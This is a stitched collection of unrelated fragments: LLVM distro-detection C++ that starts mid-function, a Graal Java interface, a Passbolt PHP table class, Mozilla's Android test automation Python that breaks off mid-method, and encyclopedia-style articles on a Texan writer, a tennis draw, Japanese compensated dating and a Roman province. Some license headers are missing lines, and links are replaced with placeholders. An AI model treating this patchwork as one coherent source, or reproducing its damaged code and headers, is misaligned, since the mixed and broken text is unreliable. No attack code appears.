if (!Data.split('.').first.getAsInteger(10, MajorVersion)) {
switch (MajorVersion) {
case 5:
return Distro::DebianLenny;
case 6:
return Distro::DebianSqueeze;
case 7:
return Distro::DebianWheezy;
case 8:
return Distro::DebianJessie;
case 9:
return Distro::DebianStretch;
case 10:
return Distro::DebianBuster;
case 11:
return Distro::DebianBullseye;
case 12:
return Distro::DebianBookworm;
case 13:
return Distro::DebianTrixie;
default:
return Distro::UnknownDistro;
}
}
return llvm::StringSwitch<Distro::DistroType>(Data.split("\n").first)
.Case("squeeze/sid", Distro::DebianSqueeze)
.Case("wheezy/sid", Distro::DebianWheezy)
.Case("jessie/sid", Distro::DebianJessie)
.Case("stretch/sid", Distro::DebianStretch)
.Case("buster/sid", Distro::DebianBuster)
.Case("bullseye/sid", Distro::DebianBullseye)
.Case("bookworm/sid", Distro::DebianBookworm)
.Default(Distro::UnknownDistro);
}
// ...for SUSE
File = VFS.getBufferForFile("/etc/SuSE-release");
if (File) {
StringRef Data = File.get()->getBuffer();
SmallVector<StringRef, 8> Lines;
Data.split(Lines, "\n");
for (const StringRef &Line : Lines) {
if (!Line.trim().startswith("VERSION"))
continue;
std::pair<StringRef, StringRef> SplitLine = Line.split('=');
// Old versions have split VERSION and PATCHLEVEL
// Newer versions use VERSION = x.y
std::pair<StringRef, StringRef> SplitVer =
SplitLine.second.trim().split('.');
int Version;
// OpenSUSE/SLES 10 and older are not supported and not compatible
// with our rules, so just treat them as Distro::UnknownDistro.
if (!SplitVer.first.getAsInteger(10, Version) && Version > 10)
return Distro::OpenSUSE;
return Distro::UnknownDistro;
}
return Distro::UnknownDistro;
}
// ...and others.
if (VFS.exists("/etc/gentoo-release"))
return Distro::Gentoo;
return Distro::UnknownDistro;
}
static Distro::DistroType GetDistro(llvm::vfs::FileSystem &VFS,
const llvm::Triple &TargetOrHost) {
// If we don't target Linux, no need to check the distro. This saves a few
// OS calls.
if (!TargetOrHost.isOSLinux())
return Distro::UnknownDistro;
// True if we're backed by a real file system.
const bool onRealFS = (llvm::vfs::getRealFileSystem() == &VFS);
// If the host is not running Linux, and we're backed by a real file
// system, no need to check the distro. This is the case where someone
// is cross-compiling from BSD or Windows to Linux, and it would be
// meaningless to try to figure out the "distro" of the non-Linux host.
llvm::Triple HostTriple(llvm::sys::getProcessTriple());
if (!HostTriple.isOSLinux() && onRealFS)
return Distro::UnknownDistro;
if (onRealFS) {
// If we're backed by a real file system, perform
// the detection only once and save the result.
static Distro::DistroType LinuxDistro = DetectDistro(VFS);
return LinuxDistro;
}
// This is mostly for passing tests which uses llvm::vfs::InMemoryFileSystem,
// which is not "real".
return DetectDistro(VFS);
}
Distro::Distro(llvm::vfs::FileSystem &VFS, const llvm::Triple &TargetOrHost)
: DistroVal(GetDistro(VFS, TargetOrHost)) {}
```
|
```javascript
Running a workflow
Setting up a Webpack project
Requiring loaders
Webpack with Gulp
Webpack with Karma
```
|
```java
/*
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package jdk.graal.compiler.nodes.spi;
import jdk.vm.ci.meta.ProfilingInfo;
import jdk.vm.ci.meta.ResolvedJavaMethod;
/**
* An interface to abstract away the source of profile information used during compilation.
*/
public interface ProfileProvider {
/**
* @see ResolvedJavaMethod#getProfilingInfo()
*/
ProfilingInfo getProfilingInfo(ResolvedJavaMethod method);
/**
* @see ResolvedJavaMethod#getProfilingInfo(boolean, boolean)
*/
ProfilingInfo getProfilingInfo(ResolvedJavaMethod method, boolean includeNormal, boolean includeOSR);
}
```
|
Josie Briggs Hall (September 17, 1869 – October 25, 1935) was an American writer and teacher. She wrote the first book published by a black Texan woman.
Life
Josie Briggs was born in Waxahachie, Texas, on September 17, 1869. Her parents, Henry and Tennie Briggs, died when she was 11 years old. Briggs moved in with her sister and attended Bishop College in Marshall, Texas, around 1886 but did not graduate.
At 16, Briggs took her first teaching job in Canaan, Texas. In 1888, she married schoolteacher J. P. Hall. The couple had five children. She also taught in Texas towns Ray and Mexia, and Mississippi towns Peyton and Tunica.
Josie Briggs Hall had almost finished her first book when a fire destroyed the manuscript in 1898. Her next book, A Scroll of Facts and Advice (Houx's Printery, 1905), was the first book published by a Texan black woman. She followed it with Hall's Moral and Mental Capsule for the Economic and Domestic Life of the Negro, As a Solution to the Race Problem (R.S. Jenkins, 1905), an anthology of original poems and essays, reprinted material, and "biographical sketches and photographs of leading blacks in Texas and the United States." The book was one of many "self-education manuals similar to textbooks... marketed at African Americans seeking an education outside of a traditional classroom setting." Hall was motivated to write it in part to "counsel the parents" of children like those she taught.
Hall later moved to Dallas and founded the Homemakers' Industrial and Trade School, which she ran from 1916 to 1928.
Hall died on October 25, 1935, in Dallas.
In 1936, Hall's poetry was included in an anthology of black Texan poets, Heralding Down: An Anthology of Verse, edited by J. Mason Brewer.
References
1869 births
1935 deaths
20th-century African-American writers
African-American poets
People from Waxahachie, Texas
20th-century African-American women writers
20th-century American women writers
20th-century American poets
Writers from Dallas
|
Tommy Robredo was the defending champion but retired in the first round against Maxime Janvier.
Roberto Carballés Baena won the title after defeating Facundo Bagnis 2–6, 7–6(7–5), 6–1 in the final.
Seeds
All seeds receive a bye into the second round.
Draw
Finals
Top half
Section 1
Section 2
Bottom half
Section 3
Section 4
References
External links
Main draw
Qualifying draw
Singles
|
, shortened to , is a type of transactional relationship similar to the Western sugar dating. It is the Japanese language term for the practice of older men giving money and/or luxury gifts to attractive young women for sexual favors. The female participants range from school girls (or JK business) to housewives. The term is often translated as "compensated dating" or "subsidized dating".
The opposite case of women paying men, , is rarer, but host clubs do exist. Fraudulent solicitations from fictive women offering to pay for sex is a common tactic in phishing emails.
Definition
The most common connotation of the term enjo-kosai in Japan is that it is a form of child prostitution whereby participating girls sell their bodies in exchange for designer goods or money. However, some organizations and writers have argued that enjo-kōsai is distinct from prostitution, and can include just spending time together for compensation. Some women's centers in Japan, include "the exchange of a girl's company or time" as part of this equation and insist that these other activities define enjo-kōsai. Anthropologist Laura Miller argues in her research that the majority of enjo-kōsai dates consist of groups of girls going with a group of older men to a karaoke bar for several hours and being paid for their time.
Furthermore, in a 1998 survey by the Asian Women's Fund, researchers found that fewer than 10 percent of all high school girls engage in enjo-kōsai and over 90 percent of the girls interviewed attested to feeling uncomfortable with the exchange or purchase of sexual services for money.
On October 26, 2015, the United Nations Human Rights Council's Special Rapporteur on the sale of children, child prostitution and child pornography announced that 30% of Japanese minors are involved in enjo-kōsai. On November 2, she revised that estimate to 13%, citing a translation error. In response, the Ministry of Foreign Affairs of Japan insisted on disclosing the source and basis of the figure of 13%, and urged the Special Rapporteur to retract her statement, arguing that it was unacceptable to quote unsubstantiated figures to emphasize that this was an urgent matter for the Special Rapporteur to address, or to quote unreliable information in a press conference or report that even the source could not reveal. The UN Special Rapporteur finally wrote to the Japanese government to report that she would no longer use the 13% figure and would not mention it in her report to the UN Human Rights Council because she concluded that there was no official or recent data to support the figure and that any reference to the data was misleading.
Perceptions in Japanese society
A 1997 poll in the Japanese TV Asahi program showed that 70 percent of respondents opposed enjo-kōsai involving sexual interactions, while 30 percent approved of it. Typically, it is perceived as an extension of Japan's growing focus on materialism, much of which is what critics claim is the cause of enjo-kōsai. Critics worry that girls involved in enjo-kōsai will grow up to be unfit wives and mothers. This perception arises from suspicions that when these girls are adults, they will quickly abandon their loyalties and commitments to their family for offers of money and material benefits. However, certain feminists regard enjo-kōsai as an empowering way to "undermine patriarchal models of propriety used to evaluate and control women". Control over their bodies and means to support themselves is a new kind of independence for these girls. Good women in Japan are supposed to be sensible, modest, nurturing and respectful, yet girls participating in enjo-kōsai clearly reject such virtues of female restraint and modesty in Japan. Feminists such as Chizuko Ueno point out that the accidental access of girls to this dating market was not a matter of ethics, but of probability. Sooner or later, these girls and young women would, in a desire for financial independence, tap into this market for their own empowerment. However, Ueno points out that while engaging in enjo-kōsai may appear beneficial for young women in the short term, it also reinforces patriarchal power structures by leaving the notion that women's bodies exist to serve male desire unchallenged.
Media depiction
Within Japan, the media tends to show enjo-kōsai in a rather negative light. The typical scenario involves a girl desperate for money, so she decides to partake in enjo-kōsai. Only later does she stop when a friend or individual intervenes and informs her of the potential risks and consequences of her behavior. Several examples from films and television series are listed below.
Masato Harada's 1997 film Bounce Ko Gals follows the story of a Japanese schoolgirl in Tokyo who is convinced to try enjo-kōsai as a way to raise money quickly after being robbed. Harada uses the plot as a metaphor for and critique of Japanese consumerism, in which everything including people becomes a product.
In Hideaki Anno's 1998 movie Love & Pop, the main character, a 16-year-old high school girl named Hiromi, goes on subsidized dates in order to purchase a ring she adores. Her parents do not pay much attention to her and Hiromi often hangs out with her three closest friends who have been going on subsidized dates. Hiromi follows her friends and begins doing the same. Throughout the movie, they meet with different kinds of men and accompany them in various activities. These activities include having dinner at a restaurant, tasting a man's cooking, singing at a karaoke bar and visiting in a video rental store. Although Hiromi nearly gives in and has sex for the remainder of money needed for the ring, her date gives her a lesson on why she should not do so.
In the Japanese live action drama series GTO (Great Teacher Onizuka), a female student named Miyabi, out of boredom and lack of adult supervision at home, pressures her friends, Chikako and Erika, to go on subsidized dates with older men, and to steal their money when the men are in the showers. Chikako accidentally meets their teacher Onizuka on one of these dates. In the hotel room, Chikako insists that Onizuka take a shower. Onizuka realizes the trap, stops Chikako's attempt to escape, and teaches her a lesson why her first sexual experience should come out of love and not have anything to do with money. Incidentally, Onizuka (himself a virgin) learns the same lesson from that very occasion.
Conversation over the controversy of enjo-kōsai even finds its way into shows geared toward girls (shōjo) between the ages of 11 and 14 in the form of the highly popular Super Gals! 2001 anime series. During the first episode of the series, straight A student Aya goes on subsidized dates because she wants to have money and fun like the other girls, but also because her strict parents and schedule do not allow her to have a job.
In the 1998 anime series Initial D, highschool student Natsuki Mogi is into enjo-kōsai, going out with a rich older man ("Papa") who gives her gifts in exchange.
In the anime series My-HiME, it's believed that a shady girl named Nao Yuuki is into enjo-kōsai. She does use her computer to arrange dates over the internet, under the name Juliet, but instead of going through them, she uses her "Child" creature named Julia to rob her patrons and beat them up. It is explained later that Nao does it out of revenge on men and especially thieves, since thieves killed her father and seriously injured Nao's mother leaving her in a coma.
In the 2018 anime series FLCL Progressive, Aiko is a girl-for-hire for Goro Mouri.
The 2020 anime series Rent-A-Girlfriend, first serialized as a manga in 2017, inverts the portrayal of enjo-kōsai by focusing on the main male character, Kazuya Kinoshita, who rents a girlfriend after being dumped by his ex.
Japanese idol group AKB48's second major label single, drew public attention with its controversial music video, which is a literal visualization of the lyrics, somewhat hinting at the subject of enjo-kōsai. Even the sales copy on its TV commercial was , a comment made by Atsuko Maeda, who played a key role on its video clip.
Societal backdrop
Although the greater part of Japanese society discourages this type of behavior, that has not stopped teachers, monks, government officials, company executives, and others of high social status from being arrested for their involvement with enjo kōsai.
Government regulation
Prostitution has been illegal in Japan since 1958, but only prostitutes and pimps were punished, with clients escaping any penalty from the law. During SCAP's occupation of Japan, the Child Welfare Law was introduced into legislation as a means to protect children from "lewd behavior". Many have criticized the law as being too vague to protect Japanese children from sexual abuse and say it does not do enough to keep girls away from sex markets.
During the 1990s enjo kōsai, as well as other forms of child exploitation, gained national attention in Japan leading to international awareness. Due to pressure from outside NGOs and other industrialized nations, the Tokyo government updated its laws relating to child exploitation. The Law for Punishing Acts Related to Child Prostitution and Child Pornography and for Protecting Children, which prohibited an adult from paying a person under the age of 18 for obscene acts, was passed in 1999.
To combat enjo kōsai and other forms of juvenile misbehavior, many prefectures have instituted a program of . Hodōin are plain-clothed police officers and volunteers who approach youths who appear to be participating in juvenile delinquency (out past 11 p.m., under-age smoking, under-age drinking, etc.) and offer guidance against such behavior. When police consider it necessary, teens are taken to a juvenile center or police station for "formal guidance" and entered into a confidential police directory. Since enjo kōsai is seen as a moral problem relating to Japanese youth, care is taken not to ostracize the girls but instead give them assistance and advice to steer them away from enjo-kōsai.
Other countries or districts
Taiwan
The use of the term began to spread to other East Asian places in the late 1990s via media. The idea of compensated dating became popular in Taiwan after the airing of the Japanese dorama God, Please Give Me More Time (JOCX), in which a young woman engages in the activity and suffers social and physical costs. In the end, however, the heroine is able to turn her life around and seems to project a positive image for youth. According to scholar Oi-Wan Lam, Taiwanese teens identified with the love story's plot and the subculture of the characters. Lam also points to the similarities between Taiwanese and Japanese subcultures, and the notion that enjo-kōsai is not actually an occupation, writing, "Sex work is not recognized by the society as a form of work". Due to this recognition, teens in both cultures feel they will not suffer consequences for participating in the activity.
A key difference between enjo-kōsai in Japan and Taiwan is the way in which girls set up dates with clients. While telephone clubs were the main venues that facilitated enjo-kōsai in Japan, the Internet facilitates meetings between girls and clients in Taiwan. Due to this, there have been attempts by several NGOs and the Taiwanese government to regulate Internet sites. Efforts at regulation are compounded by the fact that NGOs and the Taiwanese government sometimes apply the term enjo-kōsai to mean more than just teenage compensated dating, but also prostitution and Internet pornography sites.
South Korea
Compensated dating also happens in South Korea, where the South Korean government considers it a form of prostitution. An annual report by ECPAT International, published in 2004, asserts that 222 girls 18 and younger were arrested for participating in enjo-kōsai in the year 2000. South Korea, similar to Japan, passed a law in 2000 protecting children from exploitation and prostitution. Yet due to the nature of enjo-kōsai, specifically the decision of the girl to participate in the act, the girls who do enjo-kōsai are not protected under the law and are subject to punishment under the law.
Hong Kong
According to social workers, teenagers as young as 15 advertise themselves as available for "compensated dating". The practice is becoming more acceptable among Hong Kong teenage girls, who do not think compensated dating is a kind of prostitution. Some believe it is different because it does not involve sexual intercourse and they can choose their clients, who range from teenage boys to married men. Some even think they are helping others. The internet allows girls more opportunities to offer to shop, eat out or go to a movie with men in return for payment to fulfill their material needs. However, due to the nature of this practice, sexual intercourse unavoidably happens in many cases. In April 2008, the brutal murder of a 16-year-old girl, Wong Ka-mui, who was taking part in compensated dating, drew attention to the issue.
United States
With the economy in recession and tuition costs rising, many students are heavily in debt. Faced with financial difficulties, a number of female college students or new grads are turning to a "sugar daddy" for financial help. According to a report by The Huffington Post in 2011, the arrangements involve women signing up for free on websites as "sugar baby" candidates, using their college email addresses. Male clients, referred to as "sugar daddies", join these websites with paid subscriptions as proof of their financial means. The individuals are matched online, followed by in-person meetings at a public place, such as a coffee shop. Each candidate decides whether the other candidate is suitable, i.e. age, physique, personality etc. If the candidate is desirable, the next date may involve sex. The Huffington Post reported compensation of about $500 per night. Ideal "sugar babies" appear to be college students below the "mid twenties".
See also
References
External links
Compilation of articles on Enjo kōsai
Girls sell sex in Hong Kong to earn shopping money from CNN.com
Japanese sex terms
Japanese sex workers
Prostitution in Japan
Sexuality and age
Sexuality and society
Sexuality in Japan
|
Arcadia or Arcadia Aegypti was a Late Roman province in northern Egypt. It was named for one of the reigning Augusti of the Roman Empire, Arcadius () of the Theodosian dynasty when it was created in the late 4th century. Its capital was Oxyrhynchus and its territory encompassed the Arsinoite nome and the "Heptanomia" ("seven nomes") region.
History
It was created between 386 and ca. 395 out of the province of Augustamnica and most of the historical region known as "Heptanomis" ("seven nomes"), except for Hermopolis, which belonged to the Thebaid.
In the Notitia Dignitatum, Arcadia forms one of six provinces of the Diocese of Egypt, under a governor with the low rank of praeses.
By 636, the praeses governor had been replaced by a governor with the rank of dux.
Episcopal sees
Ancient episcopal sees in the Roman province of Arcadia Aegypti, listed in the Annuario Pontificio as titular sees:
References
Sources
Byzantine Egypt
Roman provinces in Africa
Late Roman provinces
Roman Egypt
States and territories established in the 4th century
4th-century establishments in Egypt
States and territories disestablished in the 7th century
640s disestablishments in the Byzantine Empire
380s establishments
|
```php
<?php
declare(strict_types=1);
/**
* Passbolt ~ Open source password manager for teams
*
* For full copyright and license information, please see the LICENSE.txt
* Redistributions of files must retain the above copyright notice.
*
* @link path_to_url Passbolt(tm)
* @since 2.0.0
*/
namespace App\Model\Table;
use App\Model\Rule\HasResourceAccessRule;
use App\Model\Rule\IsNotSoftDeletedRule;
use App\Model\Traits\Cleanup\ResourcesCleanupTrait;
use App\Model\Traits\Cleanup\TableCleanupTrait;
use App\Model\Traits\Cleanup\UsersCleanupTrait;
use Cake\ORM\RulesChecker;
use Cake\ORM\Table;
use Cake\Validation\Validator;
/**
* Favorites Model
*
* @property \App\Model\Table\ResourcesTable&\Cake\ORM\Association\BelongsTo $Resources
* @property \App\Model\Table\UsersTable&\Cake\ORM\Association\BelongsTo $Users
* @method \App\Model\Entity\Favorite get($primaryKey, $options = [])
* @method \App\Model\Entity\Favorite newEntity(array $data, array $options = [])
* @method \App\Model\Entity\Favorite[] newEntities(array $data, array $options = [])
* @method \App\Model\Entity\Favorite|false save(\Cake\Datasource\EntityInterface $entity, $options = [])
* @method \App\Model\Entity\Favorite patchEntity(\Cake\Datasource\EntityInterface $entity, array $data, array $options = [])
* @method \App\Model\Entity\Favorite[] patchEntities(iterable $entities, array $data, array $options = [])
* @method \App\Model\Entity\Favorite findOrCreate($search, ?callable $callback = null, $options = [])
* @mixin \Cake\ORM\Behavior\TimestampBehavior
* @method \App\Model\Entity\Favorite newEmptyEntity()
* @method \App\Model\Entity\Favorite saveOrFail(\Cake\Datasource\EntityInterface $entity, $options = [])
* @method iterable<\App\Model\Entity\Favorite>|iterable<\Cake\Datasource\EntityInterface>|false saveMany(iterable $entities, $options = [])
* @method iterable<\App\Model\Entity\Favorite>|iterable<\Cake\Datasource\EntityInterface> saveManyOrFail(iterable $entities, $options = [])
* @method iterable<\App\Model\Entity\Favorite>|iterable<\Cake\Datasource\EntityInterface>|false deleteMany(iterable $entities, $options = [])
* @method iterable<\App\Model\Entity\Favorite>|iterable<\Cake\Datasource\EntityInterface> deleteManyOrFail(iterable $entities, $options = [])
*/
class FavoritesTable extends Table
{
use ResourcesCleanupTrait;
use TableCleanupTrait;
use UsersCleanupTrait;
/**
* List of allowed foreign models on which Favorites can be plugged.
*/
public const ALLOWED_FOREIGN_MODELS = [
'Resource',
];
/**
* Initialize method
*
* @param array $config The configuration for the Table.
* @return void
*/
public function initialize(array $config): void
{
parent::initialize($config);
$this->setTable('favorites');
$this->setDisplayField('id');
$this->setPrimaryKey('id');
$this->addBehavior('Timestamp');
$this->belongsTo('Resources', [
'foreignKey' => 'foreign_key',
]);
$this->belongsTo('Users', [
'foreignKey' => 'user_id',
]);
}
/**
* Default validation rules.
*
* @param \Cake\Validation\Validator $validator Validator instance.
* @return \Cake\Validation\Validator
*/
public function validationDefault(Validator $validator): Validator
{
$validator
->uuid('id', __('The identifier should be a valid UUID.'))
->allowEmptyString('id', __('The identifier should not be empty.'), 'create');
$validator
->uuid('user_id', __('The user identifier should be a valid UUID.'))
->requirePresence('user_id', 'create', __('A user identifier is required.'))
->notEmptyString('user_id', __('The user identifier should not be empty.'));
$validator
->inList(
'foreign_model',
self::ALLOWED_FOREIGN_MODELS,
__(
'The favorite object type should be one of the following: {0}.',
implode(', ', self::ALLOWED_FOREIGN_MODELS)
)
)
->requirePresence('foreign_model', 'create', __('The favorite object type is required.'))
->notEmptyString('foreign_model', __('The favorite object type should not be empty'));
$validator
->uuid('foreign_key', __('The favorite object identifier should be a valid UUID.'))
->requirePresence('foreign_key', 'create', __('The favorite object identifier is required.'))
->notEmptyString('foreign_key', __('The favorite object identifier should not be empty.'));
return $validator;
}
/**
* Returns a rules checker object that will be used for validating
* application integrity.
*
* @param \Cake\ORM\RulesChecker $rules The rules object to be modified.
* @return \Cake\ORM\RulesChecker
*/
public function buildRules(RulesChecker $rules): RulesChecker
{
// Add create rules.
$rules->addCreate($rules->existsIn('user_id', 'Users'), 'user_exists');
$rules->addCreate(new IsNotSoftDeletedRule(), 'user_is_not_soft_deleted', [
'table' => 'Users',
'errorField' => 'user_id',
'message' => __('The user does not exist.'),
]);
$rules->addCreate($rules->existsIn('foreign_key', 'Resources'), 'resource_exists');
$rules->addCreate(new IsNotSoftDeletedRule(), 'resource_is_not_soft_deleted', [
'table' => 'Resources',
'errorField' => 'foreign_key',
'message' => __('The resource does not exist.'),
]);
$rules->addCreate(new HasResourceAccessRule(), 'has_resource_access', [
'errorField' => 'foreign_key',
'message' => __('Access denied.'),
'userField' => 'user_id',
'resourceField' => 'foreign_key',
]);
$rules->addCreate(
$rules->isUnique(
['user_id', 'foreign_key'],
__('The resource is already marked as favorite.')
),
'favorite_unique'
);
// Add delete rules.
$rules->addDelete([$this, 'isOwnerRule'], 'is_owner', [
'errorField' => 'user_id',
'message' => __('The user cannot delete this favorite.'),
]);
return $rules;
}
/**
* Validate that the favorite can be deleted by the user who requests the deletion.
*
* @param \App\Model\Entity\Favorite $entity The entity that will be deleted.
* @param array|null $options options
* @return bool
*/
public function isOwnerRule(\App\Model\Entity\Favorite $entity, ?array $options = [])
{
if ($options['Favorites.user_id'] != $entity->user_id) {
return false;
}
return true;
}
/**
* Delete duplicated favorites
*
* @param bool $dryRun false
* @return int of affected records
*/
public function cleanupDuplicatedFavorites(?bool $dryRun = false): int
{
$keys = ['user_id', 'foreign_key', 'foreign_model'];
return $this->cleanupDuplicates($keys, $dryRun);
}
}
```
|
```python
# This Source Code Form is subject to the terms of the Mozilla Public
# file, You can obtain one at path_to_url
import glob
import time
import re
import os
import tempfile
import shutil
import subprocess
import sys
from automation import Automation
from devicemanager import DMError
from mozlog.structured import get_default_logger
import mozcrash
# signatures for logcat messages that we don't care about much
fennecLogcatFilters = [ "The character encoding of the HTML document was not declared",
"Use of Mutation Events is deprecated. Use MutationObserver instead.",
"Unexpected value from nativeGetEnabledTags: 0" ]
class RemoteAutomation(Automation):
_devicemanager = None
def __init__(self, deviceManager, appName = '', remoteLog = None,
processArgs=None):
self._devicemanager = deviceManager
self._appName = appName
self._remoteProfile = None
self._remoteLog = remoteLog
self._processArgs = processArgs or {};
# Default our product to fennec
self._product = "fennec"
self.lastTestSeen = "remoteautomation.py"
Automation.__init__(self)
def setDeviceManager(self, deviceManager):
self._devicemanager = deviceManager
def setAppName(self, appName):
self._appName = appName
def setRemoteProfile(self, remoteProfile):
self._remoteProfile = remoteProfile
def setProduct(self, product):
self._product = product
def setRemoteLog(self, logfile):
self._remoteLog = logfile
# Set up what we need for the remote environment
def environment(self, env=None, xrePath=None, crashreporter=True, debugger=False, dmdPath=None, lsanPath=None):
# Because we are running remote, we don't want to mimic the local env
# so no copying of os.environ
if env is None:
env = {}
if dmdPath:
env['MOZ_REPLACE_MALLOC_LIB'] = os.path.join(dmdPath, 'libdmd.so')
# Except for the mochitest results table hiding option, which isn't
# passed to runtestsremote.py as an actual option, but through the
# MOZ_HIDE_RESULTS_TABLE environment variable.
if 'MOZ_HIDE_RESULTS_TABLE' in os.environ:
env['MOZ_HIDE_RESULTS_TABLE'] = os.environ['MOZ_HIDE_RESULTS_TABLE']
if crashreporter and not debugger:
env['MOZ_CRASHREPORTER_NO_REPORT'] = '1'
env['MOZ_CRASHREPORTER'] = '1'
else:
env['MOZ_CRASHREPORTER_DISABLE'] = '1'
# Crash on non-local network connections by default.
# MOZ_DISABLE_NONLOCAL_CONNECTIONS can be set to "0" to temporarily
# enable non-local connections for the purposes of local testing.
# Don't override the user's choice here. See bug 1049688.
env.setdefault('MOZ_DISABLE_NONLOCAL_CONNECTIONS', '1')
return env
def waitForFinish(self, proc, utilityPath, timeout, maxTime, startTime, debuggerInfo, symbolsPath):
""" Wait for tests to finish.
If maxTime seconds elapse or no output is detected for timeout
seconds, kill the process and fail the test.
"""
# maxTime is used to override the default timeout, we should honor that
status = proc.wait(timeout = maxTime, noOutputTimeout = timeout)
self.lastTestSeen = proc.getLastTestSeen
topActivity = self._devicemanager.getTopActivity()
if topActivity == proc.procName:
proc.kill(True)
if status == 1:
if maxTime:
print "TEST-UNEXPECTED-FAIL | %s | application ran for longer than " \
"allowed maximum time of %s seconds" % (self.lastTestSeen, maxTime)
else:
print "TEST-UNEXPECTED-FAIL | %s | application ran for longer than " \
"allowed maximum time" % (self.lastTestSeen)
if status == 2:
print "TEST-UNEXPECTED-FAIL | %s | application timed out after %d seconds with no output" \
% (self.lastTestSeen, int(timeout))
return status
def deleteANRs(self):
# empty ANR traces.txt file; usually need root permissions
# we make it empty and writable so we can test the ANR reporter later
traces = "/data/anr/traces.txt"
try:
self._devicemanager.shellCheckOutput(['echo', '', '>', traces], root=True)
self._devicemanager.shellCheckOutput(['chmod', '666', traces], root=True)
except DMError:
print "Error deleting %s" % traces
pass
def checkForANRs(self):
traces = "/data/anr/traces.txt"
if self._devicemanager.fileExists(traces):
try:
t = self._devicemanager.pullFile(traces)
print "Contents of %s:" % traces
print t
# Once reported, delete traces
self.deleteANRs()
except DMError:
print "Error pulling %s" % traces
except IOError:
print "Error pulling %s" % traces
else:
print "%s not found" % traces
def deleteTombstones(self):
# delete any existing tombstone files from device
remoteDir = "/data/tombstones"
try:
self._devicemanager.shellCheckOutput(['rm', '-r', remoteDir], root=True)
except DMError:
# This may just indicate that the tombstone directory is missing
pass
def checkForTombstones(self):
# pull any tombstones from device and move to MOZ_UPLOAD_DIR
remoteDir = "/data/tombstones"
blobberUploadDir = os.environ.get('MOZ_UPLOAD_DIR', None)
if blobberUploadDir:
if not os.path.exists(blobberUploadDir):
os.mkdir(blobberUploadDir)
if self._devicemanager.dirExists(remoteDir):
# copy tombstone files from device to local blobber upload directory
try:
self._devicemanager.shellCheckOutput(['chmod', '777', remoteDir], root=True)
self._devicemanager.shellCheckOutput(['chmod', '666', os.path.join(remoteDir, '*')], root=True)
self._devicemanager.getDirectory(remoteDir, blobberUploadDir, False)
except DMError:
# This may just indicate that no tombstone files are present
pass
self.deleteTombstones()
# add a .txt file extension to each tombstone file name, so
# that blobber will upload it
for f in glob.glob(os.path.join(blobberUploadDir, "tombstone_??")):
# add a unique integer to the file name, in case there are
# multiple tombstones generated with the same name, for
# instance, after multiple robocop tests
for i in xrange(1, sys.maxint):
newname = "%s.%d.txt" % (f, i)
if not os.path.exists(newname):
os.rename(f, newname)
break
else:
print "%s does not exist; tombstone check skipped" % remoteDir
else:
print "MOZ_UPLOAD_DIR not defined; tombstone check skipped"
def checkForCrashes(self, directory, symbolsPath):
self.checkForANRs()
self.checkForTombstones()
logcat = self._devicemanager.getLogcat(filterOutRegexps=fennecLogcatFilters)
javaException = mozcrash.check_for_java_exception(logcat)
if javaException:
return True
# If crash reporting is disabled (MOZ_CRASHREPORTER!=1), we can't say
# anything.
if not self.CRASHREPORTER:
return False
try:
dumpDir = tempfile.mkdtemp()
remoteCrashDir = self._remoteProfile + '/minidumps/'
if not self._devicemanager.dirExists(remoteCrashDir):
# If crash reporting is enabled (MOZ_CRASHREPORTER=1), the
# minidumps directory is automatically created when Fennec
# (first) starts, so its lack of presence is a hint that
# something went wrong.
print "Automation Error: No crash directory (%s) found on remote device" % remoteCrashDir
# Whilst no crash was found, the run should still display as a failure
return True
self._devicemanager.getDirectory(remoteCrashDir, dumpDir)
logger = get_default_logger()
if logger is not None:
crashed = mozcrash.log_crashes(logger, dumpDir, symbolsPath, test=self.lastTestSeen)
else:
crashed = Automation.checkForCrashes(self, dumpDir, symbolsPath)
finally:
try:
shutil.rmtree(dumpDir)
except:
print "WARNING: unable to remove directory: %s" % dumpDir
return crashed
def buildCommandLine(self, app, debuggerInfo, profileDir, testURL, extraArgs):
# If remote profile is specified, use that instead
if (self._remoteProfile):
profileDir = self._remoteProfile
# Hack for robocop, if app & testURL == None and extraArgs contains the rest of the stuff, lets
# assume extraArgs is all we need
if app == "am" and extraArgs[0] == "instrument":
return app, extraArgs
cmd, args = Automation.buildCommandLine(self, app, debuggerInfo, profileDir, testURL, extraArgs)
# Remove -foreground if it exists, if it doesn't this just returns
try:
args.remove('-foreground')
except:
pass
#TODO: figure out which platform require NO_EM_RESTART
# return app, ['--environ:NO_EM_RESTART=1'] + args
return app, args
def Process(self, cmd, stdout = None, stderr = None, env = None, cwd = None):
if stdout == None or stdout == -1 or stdout == subprocess.PIPE:
stdout = self._remoteLog
return self.RProcess(self._devicemanager, cmd, stdout, stderr, env, cwd, self._appName,
**self._processArgs)
# be careful here as this inner class doesn't have access to outer class members
class RProcess(object):
# device manager process
dm = None
def __init__(self, dm, cmd, stdout=None, stderr=None, env=None, cwd=None, app=None,
messageLogger=None):
self.dm = dm
self.stdoutlen = 0
self.lastTestSeen = "remoteautomation.py"
self.proc = dm.launchProcess(cmd, stdout, cwd, env, True)
self.messageLogger = messageLogger
if (self.proc is None):
if cmd[0] == 'am':
self.proc = stdout
else:
raise Exception("unable to launch process")
self.procName = cmd[0].split('/')[-1]
if cmd[0] == 'am' and cmd[1] == "instrument":
self.procName = app
print "Robocop process name: "+self.procName
# Setting timeout at 1 hour since on a remote device this takes much longer
self.timeout = 3600
# The benefit of the following sleep is unclear; it was formerly 15 seconds
time.sleep(1)
# Used to buffer log messages until we meet a line break
self.logBuffer = ""
@property
def pid(self):
pid = self.dm.processExist(self.procName)
# HACK: we should probably be more sophisticated about monitoring
# running processes for the remote case, but for now we'll assume
# that this method can be called when nothing exists and it is not
# an error
if pid is None:
return 0
return pid
def read_stdout(self):
""" Fetch the full remote log file using devicemanager and return just
the new log entries since the last call (as a list of messages or lines).
"""
if not self.dm.fileExists(self.proc):
return []
try:
newLogContent = self.dm.pullFile(self.proc, self.stdoutlen)
except DMError:
# we currently don't retry properly in the pullFile
